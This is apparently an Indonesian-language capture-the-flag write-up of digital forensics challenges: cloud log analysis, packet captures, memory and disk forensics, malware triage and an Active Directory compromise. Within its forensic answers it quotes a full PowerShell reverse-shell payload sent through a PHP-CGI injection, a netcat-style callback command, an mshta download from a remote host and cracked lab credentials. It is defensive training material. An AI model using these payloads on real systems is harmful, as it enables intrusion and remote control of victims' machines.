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STAGE 1 
Operation Open Bucket 
 
Karena ada banyak log, saya satukan semua log json menjadi satu. Kemudian dari situ saya filter 
menggunakan combined json log tersebut. Terus filter pake tools jq 
 
Q1: 54.242.59.197 
 

 
Pertama filter sourceIPAddress yang ngehit potential malicious event seperti GetObject, CopyObject, 
PutUserPolicy, dan CreateAccessKey 
 
Dari situ tinggal mapping redacted constraint jawaban dari soal dengan output yang kita dapetin 
 
Q2: 2023-11-02T14:52:03Z,prod-EC2-readonly_accessKeys.csv,anonymous 

 
Dari IP nomor 1, saya filter object apa yang diambil, user siapa yang ngelakuin, dan timestamp dia 
ngelakuinnya sesuai yang diminta soal 
 
Yang agak tricky, account ID yang dipakai di jawaban ternyata dari userIdentity.accountId, bukan 
recipientAccountId. Jadi nilainya anonymous. 
 
Terus mapping lagi outputnya sama redacted constraint jawabannya 
 
Q3: 7 



 
IP sama Object udah ketemu, sekarang tinggal filter *_accessKeys.csv yang diambil terus count pake wc-l 
 
 
Q4: instance-state-name:running 

 
Untuk Q4, karena yang ditanya adalah filter EC2, saya cari event EC2 dari IP threat actor. Fokusnya ke 
DescribeInstances, karena itu command yang biasa dipakai buat enumerasi instance 
 
Q5: 42 

 
Untuk Q5, saya cari dulu kapan TA akhirnya berhasil privilege escalation. Dari log, suksesnya kelihatan 
di event CreateAccessKey untuk user forela-admin 
 
Dari situ dapet timestamp suksesnya, Setelah itu tinggal hitung berapa event gagal dari IP TA sebelum 
timestamp sukses tersebut. Event gagal bisa dilihat dari adanya errorCode atau errorMessage 
 
 
 
 
 
 
 
 
 
 



Operation Crypto Trace 
 
Q1: 192.168.170.128 

 
Kalo diliat dari Endpoint, jaringan lokal cuma ada 2 yaitu 192.168.170.130 lalu 192.168.170.128. Saya 
coba 2 jawaban tersebut yang diterimia yang 192.168.170.128, berarti yang 192.168.170.130 merupakan 
server victim 
 
Q2: 8 
 
Setelah tahu attacker dan victim, saya filter koneksi dari attacker ke victim

 
Terlihat attacker melakukan SYN scan ke banyak port. Untuk menentukan port terbuka, saya cari 
balasan SYN, ACK dari victim 



 
Port yang ngeresponse ada 8 yaitu: 22, 443, 445, 3389, 139, 80, 135, 5357 
 
Q3: 22 
Bisa diliat di gambar Q2, port yang pertama terbuka itu port 22 
 
Q4: CVE-2024-4577 
 
Scanning method POST dari attacker ke victim, ada request yang mencurigakan 

 
Pola %ADd, allow_url_include=1, dan auto_prepend_file=php://input mengarah ke PHP-CGI 
argument injection, yaitu: 



 
 
Q5: PHP 8.1.25 
Dari frame POST tersebut, saya follow HTTP, kemudian dapet versi produk yang punya kerentanan 

 
 
 
 



Q6: cristo 
Dari gambar Q5, bisa diliat responsenya setelah whoami yaitu desktop-htvplb2\cristo 
 
Q7: 2025-01-22 16:47:32 
 
Pada method POST packet ke 6, attacker mengirimkan payload reverse shell: 
 
<?php system('powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object 
System.Net.Sockets.TCPClient(\'192.168.170.128\',4545);$stream = $client.GetStream();[byte[]] 
$buffer = 0..65535|%{0};while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){;$data = 
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0,$i);$sendback = (iex $data 
2>&1 | Out-String );$sendback2  = $sendback + \'PS \';$sendbyte = 
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.F
lush()};$client.Close()"'); ?> 
 

 
 
Q8: T1190 
 
Chaining dari CVE-2024-4577 



 
Q9: GodPotato-NET4.exe 

 
Follow TCP Stream pada frame reverse shell tadi kemudian saya maju 1 stream, attacker menjalankan 
beberapa command setelah mendapatkan akses. Salah satunya menginstall file GodPotato-NET4.exe 
untuk Privileged Escalation 
 
Q10: ./TimeProvider.exe -cmd "time.exe 192.168.170.128 5555 -e cmd" 
 
Bisa diliat pada gambar Q9, attacker menjalankan command pada file malicious tersebut 
 
Q11: Cannot create process Win32Error:2 



 
Tapi setelah menjalankan command tersebut gagal, dan terlampir error codenya. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Operation Silent Breach 
 
Q1: 162.252.172.54 
 

 
Pada Statistic Endpoint, saya sort berdasarkan banyaknya bytes yang dikirim. Kemudian saya mapping 
dengan constraint jawaban, yaitu: 162.252.172.54 
 
Q2: 9b8ffdc8ba2b2caa485cca56a82b2dcbd251f65fb30bc88f0ac3da6704e4d3c6 
Saya cek protocol http, ternyata ada request menarik: 

 



 
Response di server content-type nya gif, tapi jika dilihat TCP Reassembled, file tersebut merupakan PE 
file 
 
Saya download file tersebut dan lempar ke VirusTotal untuk dapetin hashnya 

 
 
Q3: Pikabot 
​  



 
Q4: 2023–05–19 14:01:21 

 
 
Q5: 2078, 2222, 32999 

 
Saya cek statistic Destination and Ports, kemudian filter ssl. Kemudian dapet port yang digunakan 
malware tersebut 
 
 



 
 
 
 
 
 
 
 
 
 
 
 
 
Q6: Pyopneumopericardium​
Filter IP Port 2078 pada traffic TLS self signed 

 
Buka packet detail, pada bagian subject certificate terlihat id-at-localityNamenya 



 
 
 
 
 
 
 
 
 
 
 
 
Q7: 2023-05-14 08:36:52 

 



Masih pada packet detail, tapi ke bagian validity, lalu disitu tertera notBefore 
 
Q8: steasteel.net 
 

 
Filter dns, kemudian disitu terlihat banyak subdomain panjang yang berubah ubah, yang merupakan ciri 
ciri DNS Tunelling. Domain yang dipakai steasteel.net 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

http://steasteel.net
http://steasteel.net


Operation Trojan Hunt 2 
 
Q1: 19044 
Untuk mengetahui build version windows, pakein plugin windows.info di volatility 

 
 
Q2: DESKTOP-38NVPD0 

 
Mount memory file pake MemProcFS, terus ke registry 
HKLM\SYSTEM\ControlSet001\Control\ComputerName\ActiveComputerName, terus buka file 
ComputerName.txt 
 
Q3: Data_Recovery.zip 
 

http://windows.info


 
Buka file .ad1 pake FTK Imager, terus ke folder Downloads, kemudian dapet folder zipnya 
Q4: praetorial-gears.000webhostapp.com 
Extract History.db dari Local Google Chrome, terus buka pake DB Viewer. Dapet deh source link file 
tersebut didownload 

 
 
Q5: 484 
Dari memory capture, pakein plugin windows.pslist untuk dapetin PID dari proccess Recover_Setup 

http://praetorial-gears.000webhostapp.com
http://history.db


 
 
 
 
 
 
 
 
 
 
Q6: C:\Users\John\Downloads\Data_Recovery\Recovery_Setup.exe 

 
Buka file .ad1 tadi pake FTK terus ke folder Download user John, dari situ ada hasil unzip 
Data_Recovery.zip. Dapet deh full pathnya 
 
Q7: c34601c5da3501f6ee0efce18de7e6145153ecfac2ce2019ec52e1535a4b3193 



 
Extract Recovery_Setup.exe dari FTK Imager, terus ambil hash value SHA256nya pake sha256sum 
 
Q8: 2023-05-30 02:06:29 
Extract prefetch Recover_Setup.exe di C:\Windows\Prefecth, kemudian parsing dengan tools PECmd 

 
Kemudian buka dengan TimelineExplorer (sebenernya udah ada sih di atas, biar rajin aja 😂) 

 
 
Q9: 2 
 



 
Masih di TimelineExplorer, tinggal hover ke bar RunCount, dapet deh 2 
 
 
 
 
 
 
 
 
Q10: IS-R7RFP.TMP 
 

 
Masih di TimelineExplorer, hover ke Files Loaded, ketemu deh file .TMP yang lain 



 
Q11: 4 

 
 
 
 
 
 
 
 
 
 
 
Q12: puk.php 

 



Filter malicious IP dari Contacted URL Virus Total lalu filter dengan protocol http. Terlihat aplikasi 
tersebut menyisipkan fuckingdllENCR.dll jika mengakses puk.php 
 
Q13: Final Recovery v3.0.7.0325 
Run Recover_Setup.exe di Sandbox Environtment, lalu malware tersebut akan drop malware notes 
dengan nama readme.txt yang berisi nama asli dan versi program tersebut 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



STAGE 2 
Operation Network Sentinel 
 
Q1: Bonitasoft 
Pertama saya filter protocol http, kemudian banyak request yang menuju ke endpoint bonita,  

 
kemudian saya coba cek ke alerts.json lalu search kata “Bonita”, lalu dapet nama fullnya yaitu: 

 
 
 
 
 
 



 
Q2: Credential Stuffing 
Saya filter http dengan method POST, lalu banyak request yang dikirim ke loginservice 

 
Kemudian jika dilihat requestnya, attacker mencoba username dan password yang berbeda-beda yang 
merupakan ciri-ciri dari credential stuffing 
 
Q3: CVE-2022-25237 
Pada alerts.json tertera CVE Bonitasoft Authorization Bypass yaitu CVE_2022_25237 

 
 
 
 
 



 
 
 
Q4: i18ntranslation 

 
Masih pada filter method POST, jika scroll ke bawah, attacker menyisipkan suatu string ke API URL 
 
Q5: 59 
Tambahin value username sebagai kolom baru terus filter method POST, jangan ambil yang value 
urlencodednya “install“, lalu hanya ambil yang ke endpoint loginservice 

 
 
 
 



 
 
 
 
Q6: seb.broom@forela.co.uk:g0vernm3nt 

 
Sort berdasarkan value email, lalu terlihat ada 4 credential yang dicoba berulang kali dengan username 
dan password yang sama 
 
Q7: pastes.io 
Setelah threat actor berhasil masuk ke server dengan credential tadi dan menyisipkan string untuk 
memanfaatkan kerentanan dengan RCE, threat actor terlihat menginstall sebuah script yang berasal dari 
pastes.io 

 

http://pastes.io


 
 
 
 
 
 
Q8: hffgra4unv 

 
Jika membuka link yang terdapat di Q7, isinya adalah sebuah script bash yang redirect download ke 
pastes.io/raw/hffgra4unv 
 
Q9: /home/ubuntu/.ssh/authorized_keys 
Jika membuka pastes.io/raw/hffgra4unv, isinya merupakan authorized_keys  

 
Pada gambar Q8, script tersebut mencoba untuk merubah authorized_keys milik server dengan 
authorized_keys milik threat actor 
 
Q10: T1098.004 

 
 
 
 
 
 
 

http://pastes.io/raw/hffgra4unv
http://pastes.io/raw/hffgra4unv


Operation Threat Trace 
 
Q1: theodore.todtenhaupt@developingdreams.site 

 
 
Q2: 2025–1–31 

 
 
Q3: T1583.001 

 
 
 



 
 
Q4: https://x.com/Develop_Dreams 

 
 
Q5: T1585.001 

 
 
Q6: DeTankWar 
 

 

https://x.com/Develop_Dreams


 
 
 
Q7: 56554117d96d12bd3504ebef2a8f28e790dd1fe583c33ad58ccbf614313ead8c 
 
Download zip file tersebut dari WayBack Machine, kemudian unzip dengan password yang diberikan di 
email yaitu DTWBETA2025 

 
 
Q8: T1608.001 

 
 
 



 
 
 
 
 
Q9: Moonstone Sleet 

 
 
Q10: North Korea 
Di gambar Q9 udah ada orang di community VirusTotal yang bikin Threat Intel reportnya 
 
Q11: PuTTY 



 
 
 
 
 
 
Q12: T1195.002 

 
https://attack.mitre.org/groups/G1036/ 
 
Q13: npm 
Di gambar Q11, Moonstone Sleet menginfeksi npm setelah serangan pertamanya pada PuTTY 

https://attack.mitre.org/groups/G1036/


 
Q14: harthat-hash v1.3.3 

 
 
 
 
 
 
 
 
 
 
Q15: 142.111.77.196 

 
https://rewterz.com/threat-advisory/north-korean-threat-actors-propagate-malicious-js-packages-to-np
m-registry-active-iocs 
 

https://rewterz.com/threat-advisory/north-korean-threat-actors-propagate-malicious-js-packages-to-npm-registry-active-iocs
https://rewterz.com/threat-advisory/north-korean-threat-actors-propagate-malicious-js-packages-to-npm-registry-active-iocs


Q16: T1218.011 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Operation Binary Insight 
 
Q1: dc6267608ddfcc5c80571ccd46475a03fb667baf8620d0e91c93ccacacf97ef6​

 
 
Q2: Visual Studio 

 
 
Q3: 32 bit 
Pada gambar Q2, tertera 32 bit 
 
Q4: Tidak 

 



Pada gambar Q2 juga tertera terdapat absolute PDB Path 
 
Q5: cdecl 

 
add esp, 14h caller untuk clear stack sebesar 14 byte termasuk ciri-ciri cdecl 
 
Q6: ESP 

 
 
Q7: ESP+4 
Q8: ESP+8 
Q9: ESP+C 
Q10: ESP+10 
 
Q11: EAX​

 
 
Q12: fastcall 
Q13:ECX 



 
Q14: EDX 
Q15: ESP 
Q16: ESP+4 
Q17: ESP+8 
Q18: 64 bit 

 
 
 
 
 
 
 
 
 



 
 
Q19: RCX 

 
Q20: RDX 
Q21: R8 
Q22: R9 
Q23: RSP+20 
Q24: RAX 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



STAGE 3 
Operation Shadow Domain 
 
Q1: Connor Ball 
Dump semua user dari ntds.dit biar ketemu akun mantan karyawan, terus baca display name nya: 

 
Cek displayName akun cball: 

 
 
Q2: falloutboy 
Ambil NT hash cball dari hasil secretsdump, crack pakai hashcat + rockyou 

 

 
 
Q3: 19 
Baca hasil full TCP scan attacker, hitung yang open 

 
 
 
 
 



 
 
Q4: Office Share 

 
 
Q5: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Nop -sta -noni -w hidden 
wscript.exe MegaCorpServiceWorker.js 

 
 
Q6:  

 
 



 
 
 
Q7: SharpShooter 

 
 
Q8: Sliver 
 

 
 
Q9: SeImpersonatePrivilege 

 



 
 
Q10: -c c:\windows\tasks\MegaCorpSync.exe 

 
 
Q11: OSEP-Code-Snippets 
Strings MegaCorpSync.exe 

 
 
 
 
 



 
Q12: WS01 
Baca log mimikatz attacker

 
Q13: osmith 

 
 
Q14: mtucker:LUmRfx9h22jhpEj 
Di gambar Q13 udah tertera info yang diminta 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
Q15: Developers 
Import json bloodhound dari folder recon ke BloodHound, terus search memberOf user mtucker 

 
 
Q16: Developers,GenericAll,Engineers 
Cek First Degree Object Control dari Node Developer 

 
 
Q17: Administrators,Developers,Engineers 
 



Setelah hover ke Engineers, hop selanjutnya itu ke MEGAPOLICY yang dimana MEGAPOLICY 
merupakan akses Administrator 
 
 
 
 
 
 
Q18: Engineers,GenericWrite,MEGAPOLICY 

 
 
Q19: SharpGPOAbuse.exe 

 
Q20: Robbie Ooi 



Pake tools yang di Q1 tapi gausah pake grep, terus kita nemu suspected usernamenya yaitu rooi 

 
Baca displayName-nya dari ntds 

 
 
 
 
Q22: cmd /c 'mshta http://45.123.76.89/MEGACORP_DataSync.hta' 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Operation Silent Powershell 

 
Q1: 2024-11-06 01:57:54 

 

 
 
 
 
 
 



 
Q2: filesuneedtodownload.s3.eu-north-1.amazonaws.com 

 
 

 
 
 
 
 
 
 
 
 
 
 

http://filesuneedtodownload.s3.eu-north-1.amazonaws.com


Q3: de733beed85f39605fcdea42dddee190506424f2 
Parsing Amcache.hve pake AmcacheParser, buka pake TimelineExplorer 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
Q4: https://github.com/gentilkiwi/mimikatz/archive/refs/heads/master.zip 
 

 
Buka Windows Defender Support log di C:\ProgramData\Microsoft\Windows 
Defender\Support\MPLog-20241029-115405.log 
 
 
 
 
 
 
 
 

https://github.com/gentilkiwi/mimikatz/archive/refs/heads/master.zip


 
Q5: TEAMSUPDATE.BAT 
Parsing prefetch TeamsUpdater.exe, terus buka pake TimelineExplorer terus hover ke Files Loaded 

 
 
 
 
 
 
 
 
 
 
 



 
Q6: 60003 

 
Parse SRUDB.dat di C:\Windows\System32\sru\SRUDB.dat pakai tools SrumECmd. Lalu buka 
dengan TimelineExplorer lalu filter TeamsSetup 
 
 
 
 
 
 
 



 
Q7: https://filebin.net/archive/0rkhisv2iq4slveo/kape.zip 
Buka WebCacheV01.dat dengan IECacheView, kemudian terdapat folder zip yang terdownload dari s3 

 
 
 
 
 
 
 
 

https://filebin.net/archive/0rkhisv2iq4slveo/kape.zip


 
Q8: TeamsUpdater 
 
Buka SOFTWARE hive pakai RegistryExplorer, terus ke TaskCache. 

 
 
 
 
Q9: {A4F7ED3E-E7CD-4539-8E79-D73B568FC298} 
 
Dari gambar Q8 juga tertera GUID Task tersebut 
 



 
Q10: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File 
C:\Users\Eli\AppData\Local\Temp\Teams.ps1 
 
Dari gambar Q8 juga tertera command apa yang dilakukan jika Task tersebut dijalankan 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
Q11: 192.168.137.132:443 
Extract resident file dari MFT commadnya MFTECmd -f “$MFT” –dr –csv “output” 
Dapet Teams.ps1 nya, terus kita decode base64 string tesebut 

 

 
Dapet deh IP dan Portnya 
 
 



 
Q12: Employees_Contact_Info.pdf 

 
Buka history PowerShell (ConsoleHistory.txt) di 
C\Users\Eli\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine 
 
 
 
 
 
 
 



 
Q13: balikvar@laffa.com  
Pake script ini buat parse Windows.edb 
 
from dissect.esedb import EseDB 

 

db = EseDB(open("Windows.edb", "rb")) 

table = db.table("SystemIndex_PropertyStore") 

 

for record in table.records(): 

    try: 

        path = record.get("4447-System_ItemPathDisplay") 

        summary = record.get("4625-System_Search_AutoSummary") 

        if path and summary: 

            print(f"\n{'='*60}") 

            print(f"File: {path}") 

            print(f"Content:\n{summary}") 

    except: 

        pass 

 

 
 



 
Q14: 2024-11-06 02:16:50 
Parse Security.evtx pake EvtxeCmd, terus buka pake TimelineExplorer kemudian filter EventID 1102 
(Audit Log Cleared) 

 
 

 
Q15: KAPE 
 
Di Q7 udah tertera bahwa threat actor menginstall artifact parser yaitu KAPE 



 
Q16: blackrose 
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